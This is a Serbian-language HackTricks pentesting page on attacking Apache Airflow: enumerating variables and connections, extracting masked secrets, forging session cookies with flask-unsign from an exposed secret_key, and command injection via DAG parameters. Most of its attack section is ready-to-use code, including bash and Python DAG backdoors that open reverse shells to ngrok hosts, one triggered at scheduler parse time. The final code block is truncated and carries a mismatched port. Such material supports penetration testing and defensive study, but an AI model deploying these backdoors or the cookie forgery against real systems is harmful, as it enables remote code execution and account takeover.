Apache Airflow Security

Reading time: 6 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne Informacije

Apache Airflow služi kao platforma za orchestraciju i zakazivanje podataka ili radnih tokova. Termin "orchestration" u kontekstu podataka označava proces organizovanja, koordinacije i upravljanja složenim radnim tokovima podataka koji potiču iz različitih izvora. Primarna svrha ovih orkestriranih radnih tokova podataka je da obezbede obrađene i upotrebljive skupove podataka. Ovi skupovi podataka se široko koriste u mnogim aplikacijama, uključujući, ali ne ograničavajući se na alate za poslovnu inteligenciju, modele podataka i mašinskog učenja, koji su svi osnovni za funkcionisanje aplikacija velikih podataka.

U suštini, Apache Airflow će vam omogućiti da zakazujete izvršenje koda kada se nešto (događaj, cron) dogodi.

Lokalni Laboratorija

Docker-Compose

Možete koristiti docker-compose konfiguracioni fajl sa https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml da pokrenete kompletnu apache airflow docker sredinu. (Ako ste na MacOS-u, obavezno dodelite najmanje 6GB RAM-a docker VM-u).

Minikube

Jedan jednostavan način da pokrenete apache airflow je da ga pokrenete sa minikube:

bash
helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command

# Use this command to delete it
helm delete airflow-release

Konfiguracija Airflow-a

Airflow može čuvati osetljive informacije u svojoj konfiguraciji ili možete pronaći slabe konfiguracije:

Airflow Configuration

Airflow RBAC

Pre nego što počnete sa napadima na Airflow, trebali biste razumeti kako funkcionišu dozvole:

Airflow RBAC

Napadi

Enumeracija Web Konzole

Ako imate pristup web konzoli, možda ćete moći da pristupite nekim ili svim sledećim informacijama:

  • Promenljive (Prilagođene osjetljive informacije mogu biti pohranjene ovde)
  • Konekcije (Prilagođene osjetljive informacije mogu biti pohranjene ovde)
  • Pristupite im na http://<airflow>/connection/list/
  • Konfiguracija (Osetljive informacije kao što su secret_key i lozinke mogu biti pohranjene ovde)
  • Lista korisnika i uloga
  • Kod svakog DAG-a (koji može sadržati zanimljive informacije)

Preuzimanje vrednosti promenljivih

Promenljive se mogu čuvati u Airflow-u tako da DAG-ovi mogu pristupiti njihovim vrednostima. Slično je tajnama drugih platformi. Ako imate dovoljno dozvola, možete im pristupiti u GUI-u na http://<airflow>/variable/list/.
Airflow po defaultu prikazuje vrednost promenljive u GUI-u, međutim, prema ovome, moguće je postaviti listu promenljivih čija će se vrednost prikazivati kao zvezdice u GUI-u.

Međutim, ove vrednosti se i dalje mogu preuzeti putem CLI (morate imati pristup bazi podataka), izvršavanjem proizvoljnog DAG-a, API pristupom tački promenljivih (API mora biti aktiviran), i čak i samim GUI-em!
Da biste pristupili tim vrednostima iz GUI-a, jednostavno izaberite promenljive kojima želite da pristupite i kliknite na Akcije -> Izvezi.
Drugi način je da izvršite bruteforce na skrivenoj vrednosti koristeći filtriranje pretrage dok je ne dobijete:

Eskalacija privilegija

Ako je konfiguracija expose_config postavljena na True, iz uloge Korisnik i više mogu čitati konfiguraciju na web-u. U ovoj konfiguraciji se pojavljuje secret_key, što znači da svaki korisnik sa ovim važećim može napraviti svoj potpisani kolačić da bi se pretvarao da je bilo koji drugi korisnički nalog.

bash
flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"

DAG Backdoor (RCE u Airflow radniku)

Ako imate pristup za pisanje na mestu gde su DAG-ovi sačuvani, možete jednostavno napraviti jedan koji će vam poslati reverse shell.
Imajte na umu da će ovaj reverse shell biti izvršen unutar airflow radničkog kontejnera:

python
import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator

with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433  0>&1',
)
python
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)

DAG Backdoor (RCE u Airflow scheduler-u)

Ako postavite nešto da bude izvršeno u korenu koda, u trenutku pisanja ovog teksta, biće izvršeno od strane scheduler-a nakon nekoliko sekundi nakon što ga stavite unutar DAG-ove fascikle.

python
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

rs("2.tcp.ngrok.io", 14403)

with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}

Kreiranje DAG-a

Ako uspete da kompromitujete mašinu unutar DAG klastera, možete kreirati nove DAG skripte u dags/ folderu i one će biti replicirane na ostalim mašinama unutar DAG klastera.

Ubrizgavanje koda u DAG

Kada izvršavate DAG iz GUI-a, možete proslediti argumente.
Stoga, ako DAG nije pravilno kodiran, mogao bi biti ranjiv na Command Injection.
To se desilo u ovom CVE: https://www.exploit-db.com/exploits/49927

Sve što treba da znate da počnete da tražite command injections u DAG-ovima je da se parametri pristupaju sa kodom dag_run.conf.get("param_name").

Štaviše, ista ranjivost može se javiti i sa varijablama (imajte na umu da sa dovoljno privilegija možete kontrolisati vrednost varijabli u GUI-u). Varijable se pristupaju sa:

python
from airflow.models import Variable
[...]
foo = Variable.get("foo")

Ako se koriste, na primer, unutar bash komande, mogli biste izvršiti injekciju komande.

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks